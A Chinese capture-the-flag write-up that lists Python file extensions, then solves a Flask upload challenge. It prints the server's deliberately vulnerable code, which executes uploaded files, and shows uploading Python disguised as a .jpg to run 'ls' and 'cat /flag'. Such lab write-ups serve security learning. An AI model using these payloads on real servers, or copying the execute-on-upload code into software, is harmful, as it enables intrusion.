系列文章目录
开始打好基础非常重要的
关于 Python 后缀名知识
总结:
- .py : 通常编写的源代码的后缀
- .py3 : Python3 脚本,不过也不常用
- .pyc : 编译好的字节码,如果导入一个模块,python 将会生成一个 *.pyc 包含字节码的文件,以便再次导入他更容易,当然 .pyc 文件也可以使用 Easy Python Decompiler。 转换为 .py文件
- .pyo : 这是在优化时创建的 *.pyc 文件,从 py3.5 开始,python 只适用 .pyc 而不是 .pyo
- .pyd : 这基本是一个 windows DLL 文件
- .pyi : MyPy 存根
- .pyw : 使用 pythonw,exe 执行的 Windows 的 Python 脚本
- .pyx : 将 Cython src 转换成 C/C++
- .pyz : 这是一个包含标准Python脚本头之后的二进制形式的压缩 Python脚本(ZIP)的脚本
- .py [cod]:.gitignore中的通配符表示该文件可能是.pyc,.pyo或.pyd。
- .rpy:包含应用程序或框架特定功能的RPython脚本或Python脚本。
- .pyde:处理使用的Python脚本。
- .pyp:Py4D Python插件。
- .pyt:Python声明文件。
提示:以下是本篇文章正文内容,下面案例可供参考
一、查看页面源代码
一般看到前端 js ,产生的第一个想法就是把 js 代码删除,万一没有后端验证呢
显然这道题没有,修改请求中文件名字、MIME 类型都已经修改过了,没有用,但是源代码中提示到我们使用的是 python 代码,这时候我们可以使用 上传 python 代码的 jpg 文件
二、上传 Python 代码的文件
1.查看目录结构
上传一个 1.jpg 文件,内容如下
import os
print(os.system('ls ./'))
返回结果:
2.查看目录中的文件
查看 app.py
from flask import Flask, render_template, request, render_template_string
from werkzeug.utils import secure_filename
from subprocess import getoutput as shell
import os
// 在此出可看到一个 /flag 的名字
app = Flask(__name__) #在当前文件下创建应用
app.config['UPLOAD_FOLDER'] = 'upload/' # app.config['UPLOAD_FOLDER']定义上传文件夹的路径
shell('echo $FLAG > /flag') # 输出 flag
@app.route('/')
def upload_file():
return render_template('index.html')
@app.route('/uploader', methods=['GET', 'POST'])
def uploader():
if request.method == 'POST':
abs_path = os.path.dirname(__file__)
f = request.files['file']
filename = f.filename
if '.' in filename:
prefix, suffix = filename.split('.')
white_list = ['py3', 'jpg', 'png']
if suffix in white_list:
f.save(os.path.join(app.config['UPLOAD_FOLDER'], secure_filename(f.filename)))
try:
content = str(shell('python3 %s/upload/%s' % (abs_path, filename)))
if "%" in content:
content.replace('%', '')
except Exception as e:
content = str(e)
html = 'file uploaded successfully!<!-- %s -->' % str(content)
return render_template_string(html)
else:
return "The file is not allowed to upload!"
else:
return "The file is not allowed to upload!"
else:
return "Method Not Allowed"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80, debug=True)0
三、查看 flag
我们继续提交数据
import os
print(os.system('cat /flag'))
得到 flag
总结
借鉴的文章:
过关文章
http://t.csdn.cn/yZuJx http://t.csdn.cn/aEY4m
额外知识点: